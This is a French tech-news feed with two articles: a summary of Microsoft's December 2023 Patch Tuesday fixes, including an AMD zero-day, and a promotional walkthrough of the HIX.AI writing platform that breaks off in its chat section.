# articles

feed_id: https://www.it-connect.fr/?p=73446
title: Patch Tuesday – Décembre 2023 : 34 vulnérabilités corrigées et une faille zero-day
uri: Patch-Tuesday-Décembre-2023-34-vulnérabilités-corrigées-et-u
url:
https://www.it-connect.fr/patch-tuesday-decembre-2023-34-vulnerabilites-corrigees-et-une-faille-zero-day/

content:
<p><strong>Le dernier Patch Tuesday de l'année 2023 a été mis en ligne par Microsoft ! Terminons en douceur puisqu'il corrige 34 vulnérabilités et une faille de sécurité zero-day ! Faisons le point.</strong></p>



<p>Ce Patch Tuesday de décembre 2023 contient 4 failles de sécurité critiques, dont voici la liste :</p>



<ul>
<li>Microsoft Power Platform Connector : <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-36019" target="_blank" rel="noreferrer noopener">CVE-2023-36019</a></li>



<li>Windows - Internet Connection Sharing (ICS) : <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-36400" target="_blank" rel="noreferrer noopener"></a><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-35630" target="_blank" rel="noreferrer noopener">CVE-2023-35630</a> et <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-35641" target="_blank" rel="noreferrer noopener">CVE-2023-35641</a></li>



<li>Windows - Internet Connection Sharing (ICS) : <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-36397" target="_blank" rel="noreferrer noopener">CVE-2023-36397</a></li>



<li>Windows - MSHTML : <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-35628" target="_blank" rel="noreferrer noopener">CVE-2023-35628</a></li>
</ul>



<p>Par ailleurs, d'autres produits de chez Microsoft et des composants Windows sont directement concernés. Nous pouvons citer quelques exemples : Microsoft Dynamics, le pilote Microsoft Bluetooth, Microsoft Office (Word, Outlook), le service DNS, Windows Defender, le rôle DHCP Server, le driver ODBC Windows, ou encore le noyau du système d'exploitation Windows. En plus de ces vulnérabilités, il faut ajouter <strong>8 failles de sécurité corrigées dans le navigateur Microsoft Edge</strong>.</p>



<ul>
<li><a href="https://www.it-connect.fr/correctifs-de-securite-comment-analyser-plus-facilement-les-patch-tuesday-de-microsoft/" target="_blank" rel="noopener" title="">Comment analyser plus facilement les Patch Tuesday de Microsoft ?</a></li>
</ul>



<h2 class="wp-block-heading">Le point sur la faille de sécurité zero-day</h2>



<p>La faille de sécurité zero-day corrigée par Microsoft est désormais associée à la référence <strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20588" target="_blank" rel="noopener nofollow" title="">CVE-2023-20588</a></strong>. Cette vulnérabilité de type "<em>division par zero</em>" affecte <strong>certains processeurs AMD </strong>et peut être utilisée pour extraire des données sensibles de la machine. <strong>La liste des processeurs affectés</strong> est disponible dans le <a href="https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7007.html" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité d'AMD</a>.</p>



<p><strong>Bien qu'elle soit corrigée aujourd'hui, elle n'est pas nouvelle</strong>. En effet, <strong>elle a été révélée en août 2023</strong>. AMD n'a jamais fourni le moindre correctif, mais uniquement quelques mesures d'atténuation notamment à destination des développeurs. Pour autant, cette vulnérabilité n'a pas été exploitée par les cybercriminels et nécessite un accès local à la machine. À ce sujet, AMD précise : "<em>AMD estime que l'impact potentiel de cette vulnérabilité est faible car elle nécessite un accès local.</em>"</p>



<p>Par ailleurs, sachez que cette vulnérabilité a été corrigée au sein de certaines distributions Linux, notamment Debian.</p>



<p><strong>D'autres articles sont en cours de préparation pour les nouvelles mises à jour Windows 10 et Windows 11 : restez connectés !</strong></p><p>The post <a href="https://www.it-connect.fr/patch-tuesday-decembre-2023-34-vulnerabilites-corrigees-et-une-faille-zero-day/">Patch Tuesday – Décembre 2023 : 34 vulnérabilités corrigées et une faille zero-day</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=69953
title: Présentation d’HIX.AI, une solution de rédaction tout-en-un propulsée par l’IA
uri: Présentation-d-HIX-AI-une-solution-de-rédaction-tout-en-un-propul
url:
https://www.it-connect.fr/presentation-dhix-ai-une-solution-de-redaction-tout-en-un-propulsee-par-lia/

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons nous intéresser à HIX.AI, une plateforme tout-en-un où nous pouvons accéder à plus de 120 outils basés sur de l'intelligence artificielle. </strong>Au-delà d'intégrer un chatbot IA similaire à ChatGPT, HIX.AI intègre de nombreux outils permettant de faciliter la rédaction de textes et contenus en tout genre ! La plateforme HIX.AI est proposée de deux façons différentes : une formule gratuite, mais limitée, et plusieurs offres payantes.</p>



<p>Envie d'en savoir plus ? Il ne vous reste plus qu'à lire la suite de cet article !</p>



<ul>
<li><a href="https://hix.ai/?c=V8Z740" target="_blank" rel="noopener nofollow" title="">Accéder à HIX.AI pour en savoir plus</a></li>
</ul>



<h2 class="wp-block-heading">II. Qu'est-ce qu'HIX.AI ? Quelles sont ses fonctionnalités ?</h2>



<p>Imaginez <strong>une plateforme de rédaction en ligne</strong> qui centralise <strong>un ensemble d'outils IA</strong> permettant de vous accompagner à différentes étapes de la création de contenu. Cette plateforme existe, elle s'appelle HIX.AI ! Pour ses différents outils et fonctionnalités, HIX.AI s'appuie sur <strong>les modèles de langages les plus récents </strong>de chez <strong>OpenAI</strong>, notamment <strong>GPT-4</strong>.</p>



<p>L'objectif, c'est de vous proposer de nombreux outils où <strong>chaque outil est créé pour répondre à un besoin spécifique</strong> et il va permettre de tirer profit de la puissance de l'IA. Ainsi, nous pouvons citer quelques exemples d'outils : rédaction d'un article, rédaction d'un e-mail, rédaction de tweets pour X (Twitter), rédaction d'une description pour une vidéo YouTube, rédaction d'une publicité pour Facebook, résumer d'un fichier PDF, etc.</p>



<p>Ces outils sont accessibles à partir de l'<strong>interface web HIX.AI</strong>, mais également via <strong>une extension disponible pour Google Chrome et Microsoft Edge</strong>.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/3249f72b.Tableau-de-bord-HIX.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX.png"><img fetchpriority="high" decoding="async" width="1300" height="750" data-id="73156" src="media/3249f72b.Tableau-de-bord-HIX.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX.png" alt="Tableau de bord HIX.AI" class="wp-image-73156" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX.png 1300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX-800x462.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX-150x87.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX-768x443.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Tableau-de-bord-HIX-50x29.png 50w" sizes="(max-width: 1300px) 100vw, 1300px" /></a></figure>
</figure>



<p></p>



<p>Bien que l'interface soit en anglais, <strong>HIX.AI peut générer du contenu dans plusieurs langues, y compris en français.</strong> Il suffit de choisir la langue de son choix dans les paramètres de son compte.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="438" src="media/be8140d8.HIX.AI-Choix-de-la-langue.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue.png" alt="HIX.AI - Choix de la langue" class="wp-image-73159" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue-550x301.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue-768x420.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Choix-de-la-langue-50x27.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans la prochaine partie de cet article, nous allons découvrir certaines fonctionnalités et outils d'HIX.AI.</p>



<h2 class="wp-block-heading">III. Utilisation d'HIX.AI</h2>



<h3 class="wp-block-heading">A. ArticleGPT</h3>



<p>À l'aide d'ArticleGPT, nous pouvons générer des articles de différents types : des articles généraux, des articles d'actualités, des tutoriels, etc... À chaque fois, nous avons le choix entre un mode "<em>One-click</em>" et un mode haute qualité. Le mode haute qualité intègre des étapes supplémentaires dans le processus de création de l'article, dont la possibilité d'importer des documents à analyser pour rédiger l'article, ou inclure l'analyse de pages Google.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="493" src="media/bcd1e5ef.HIX.AI-ArticleGPT.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT.jpg" alt="HIX.AI - ArticleGPT" class="wp-image-73163" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT-550x339.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT-150x92.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT-768x473.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPT-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Évoquons le mode "<strong>One-click</strong>". Nous devons renseigner plusieurs informations :</p>



<ul>
<li>Décrire l'objet de l'article en une ou plusieurs phrases (en 500 caractères maximum)</li>



<li>Indiquer un mot clé principal, et éventuellement des mots clés secondaires</li>



<li>Choisir un style d'écriture (professionnel, académique, créatif, excité, etc.)</li>



<li>Choisir un point de vue : Je, Nous, Vous, etc.</li>



<li>Choisir un langage : anglais, français, espagnol, etc... la liste est très longue</li>



<li>Choisir le modèle de langage à utiliser : GPT-3.5 ou GPT-4</li>



<li>Dans les paramètres avancés, nous pouvons définir la longueur de l'article et le type d'audience</li>
</ul>



<p>Quand le formulaire est complété, il suffit de cliquer sur "<strong>Generate article</strong>" pour que l'IA génère un article qui respecte nos consignes.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="758" height="655" src="media/f0f57bd3.HIX.AI-ArticleGPI-Exemple-du-Cloud.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Exemple-du-Cloud.png" alt="HIX.AI - ArticleGPI - Exemple du Cloud" class="wp-image-73353" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Exemple-du-Cloud.png 758w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Exemple-du-Cloud-550x475.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Exemple-du-Cloud-150x130.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Exemple-du-Cloud-50x43.png 50w" sizes="(max-width: 758px) 100vw, 758px" /></figure>



<p><strong>En moins d'une minute, l'outil a généré un outil de plus de 1 300 mots sur le sujet du Cloud, en couvrant le sujet dans son ensemble. Cet article peut-être exporté au format Word, en PDF, ou envoyé via <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/wordpress/" target="_blank" rel="noopener" title="WordPress" data-wpil-keyword-link="linked">WordPress</a> (via la mise en place d'un mot de passe d'application). Ci-dessous, vous pouvez </strong>voir un extrait de l'article généré.</p>



<figure class="wp-block-gallery has-nested-images columns-1 is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/a674c949.HIX.AI-ArticleGPI-Cloud-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1.jpg"><img decoding="async" width="1200" height="590" data-id="73355" src="media/a674c949.HIX.AI-ArticleGPI-Cloud-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1.jpg" alt="" class="wp-image-73355" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1-550x270.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1-800x393.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1-768x378.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-1-50x25.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/a5a560a6.HIX.AI-ArticleGPI-Cloud-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2.jpg"><img decoding="async" width="1200" height="589" data-id="73354" src="media/a5a560a6.HIX.AI-ArticleGPI-Cloud-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2.jpg" alt="" class="wp-image-73354" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2-550x270.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2-800x393.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2-768x377.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-ArticleGPI-Cloud-2-50x25.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>L'article généré peut servir de point de départ et vous pouvez <strong>l'éditer et le compléter à votre guise</strong>. Si un passage ne vous convient pas, vous pouvez aussi le sélectionner et <strong>demander à l'outil de le reformuler différemment, ou de le synthétiser</strong>. Lorsque du texte est sélectionné, un menu avec des boutons d'actions apparaît. Voici un exemple (sur un autre article) :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="276" src="media/1e14bc80.HIX.AI-Reformuler-un-paragraphe-de-larticle.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle.png" alt="HIX.AI - Reformuler un paragraphe de l'article" class="wp-image-73361" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle-550x190.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle-768x265.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reformuler-un-paragraphe-de-larticle-50x17.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par ailleurs, la fonctionnalité "<em>Plagiarism checker</em>", ou<strong> vérificateur de plagiat </strong>en français, permet de voir si l'IA n'a pas bêtement copié-collé un passage issu d'un autre article. C'est effectivement un risque avec une IA à partir du moment où elle a un accès à Internet... Grâce à cette fonctionnalité, vous pouvez effectuer une vérification et ainsi corriger l'article si c'est nécessaire.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="395" src="media/e808a5b0.HIX.AI-Plagiarism-checker-800x395.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-800x395.jpg" alt="" class="wp-image-73363" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-800x395.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-550x271.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-768x379.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Plagiarism-checker.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Les articles générés sont mémorisés dans votre espace HIX.AI, ce qui permet de les retrouver facilement mais aussi de poursuivre l'édition à n'importe quel moment.</p>



<h3 class="wp-block-heading">B. AI Writer et HIX Editor</h3>



<p>Partons à la découverte de l'AI Writer qui regroupe un ensemble d'outils d'aide à la rédaction ! L'AI Writer permet de produire du contenu pour diverses utilisations, que ce soit des articles de blog, du contenu pour les réseaux sociaux, une description optimisée pour le <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/referencement-et-web/seo/" target="_blank" rel="noopener" title="SEO" data-wpil-keyword-link="linked">SEO</a> pour un article de blog, voire même une accroche pour un texte publicitaire. Sachez que ces outils de rédaction sont capables de générer du contenu dans plus de 50 langues différentes. Ils offrent aussi une fonctionnalité pratique permettant de transcrire des vidéos en articles, transformant ainsi des scripts vidéo en texte.</p>



<p>Il suffit de choisir l'outil de son choix et de se laisser guider...</p>



<p>Voici un exemple avec un e-mail :</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/8036d160.HIX.AI-Redaction-e-mail-exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple.jpg"><img decoding="async" width="1200" height="475" data-id="73365" src="media/8036d160.HIX.AI-Redaction-e-mail-exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple.jpg" alt="" class="wp-image-73365" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple-550x218.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple-800x317.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple-150x59.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple-768x304.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Redaction-e-mail-exemple-50x20.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>L'outil de reformulation est simple et efficace. Vous copiez-collez du texte, choisissez un ton, et demandez à l'IA de le réécrire.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="214" src="media/f7fc51ab.HIX.AI-Reecriture-dun-texte.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte.jpg" alt="" class="wp-image-73366" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte-550x147.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte-150x40.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte-768x205.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Reecriture-dun-texte-50x13.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour ceux, qui, comme moi, publient des vidéos sur YouTube. Il y a également<strong> un générateur de titres</strong>, lui aussi totalement paramétrable. Parfois, ce n'est pas toujours facile de trouver un titre accrocheur ou qui correspond à nos attentes, donc ce genre d'outils peut donner des idées intéressantes pour gagner un peu de temps.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/068a5b11.HIX.AI-Titre-video-YouTube.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube.jpg"><img decoding="async" width="1000" height="725" data-id="73367" src="media/068a5b11.HIX.AI-Titre-video-YouTube.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube.jpg" alt="" class="wp-image-73367" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube-550x399.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube-800x580.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube-768x557.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Titre-video-YouTube-50x36.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p><strong>Il y a énormément d'exemples possibles compte tenu de la quantité importante d'outils dédiés à des cas précis.</strong></p>



<p>Par ailleurs, <strong>HIX Editor est un traitement de texte dopé à l'IA</strong>. Avec lui, vous partez d'une feuille blanche, mais celle-ci ne sera qu'éphémère, car l'IA vous aidera à décoller. Le prompt qui apparaît à l'écran sert à décrire l'objet du document afin que l'IA vous suggère du contenu. Si l'on prend l'exemple du modèle "<em>Pros and cons list</em>", ceci va permettre de générer une liste d'avantages et d'inconvénients sur le sujet de votre choix.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/2f4b6a66.HIX-Editor-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple.jpg"><img decoding="async" width="1000" height="463" data-id="73370" src="media/2f4b6a66.HIX-Editor-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple.jpg" alt="" class="wp-image-73370" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple-550x255.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple-800x370.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple-150x69.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple-768x356.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX-Editor-Exemple-50x23.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p></p>



<p>Avec cet éditeur de texte, vous pouvez <strong>rédiger un document tout en étant accompagné par l'IA</strong> que vous pouvez solliciter à tout instant, que ce soit pour réécrire un paragraphe, le résumer, ou rajouter du texte. Pour ceux qui utilisent Notion, sachez que l'éditeur d'HIX.AI fonctionne sur le même principe.</p>



<h3 class="wp-block-heading">C. HIX Email Writer</h3>



<p><strong>Besoin d'un coup de main pour écrire un e-mail ?</strong> Pas de soucis ! HIX Email Writer est une fonction dédiée à cela ! Il suffit d'indiquer "//" pour que l'outil nous demande quel type d'e-mail nous souhaitons rédiger et il suffit de décrire l'objectif de l'e-mail. Ensuite, il propose un premier texte correspondant à notre demande : nous pouvons lui demander de reformuler, de raccourcir ou d'allonger la proposition, mais aussi poursuivre les échanges.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="583" src="media/6f727833.HIX.AI-Assistant-redaction-e-mail-800x583.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-800x583.png" alt="" class="wp-image-73368" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-800x583.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-550x401.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-768x560.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-redaction-e-mail.png 837w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Il y a <strong>une vingtaine de modèles d'e-mails correspondants à des situations spécifiques</strong>. Si vous choisissez un modèle d'e-mail pour une réunion, il vous suffit d'indiquer quelques informations, comme la date et l'heure, et l'outil va s'occuper de vous proposer un e-mail correspondant.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="524" src="media/db3660c8.HIX.AI-Modeles-e-mail.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail.png" alt="" class="wp-image-73411" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail-550x360.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail-150x98.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail-768x503.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Modeles-e-mail-50x33.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>HIX Email Writer est capable de vous aider à répondre à un e-mail. </strong>Tout d'abord, il faut lui copier-coller l'e-mail en question (en français, cela fonctionne), et il va vous proposer plusieurs réponses. Prenons l'exemple d'un e-mail où l'on nous demande si l'on va participer à un salon IT. L'outil nous suggère plusieurs réponses, notamment pour accepter ou décliner l'invitation.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="490" src="media/ee63ec18.HIX.AI-Assistant-reponse-e-mail-800x490.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-800x490.png" alt="" class="wp-image-73369" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-800x490.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-550x337.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-150x92.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-768x470.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/HIX.AI-Assistant-reponse-e-mail.png 849w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">D. HIX Chat (équivalent de ChatGPT)</h3>



<p><strong>HIX Chat, c'est l'équivalent du chatbot ChatGPT, mais intégré à l'interface HIX.AI.</strong> Vous pouvez le solliciter et lui poser toutes les questions de votre choix, en mode interactif, via<strong> les modèles de langage GPT-3.5 et GPT-4 d'OpenAI</strong>.</p>



<p>HIX Chat peut également analyser et résumer un document, que ce soit un fichier Word (docx) ou un PDF. Par exemple, ici j'ai chargé un document Word qui contient le contenu de mon article "<em><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/securite-informatique/" target="_blank" rel="noopener" title="Cybersécurité" data-wpil-keyword-link="linked">Cybersécurité</a> : comment réaliser un audit de son tenant Microsoft 365 ?</em>" afin de lui demander un résumé. Il m'a proposé une synthèse en anglais, et a pu m'indiquer la version française de cette synthèse dans un second temps suite à ma demande. Finalement, la synthèse est assez pertinente et cette analyse peut faire gagner du temps sur un document conséquent.</p>



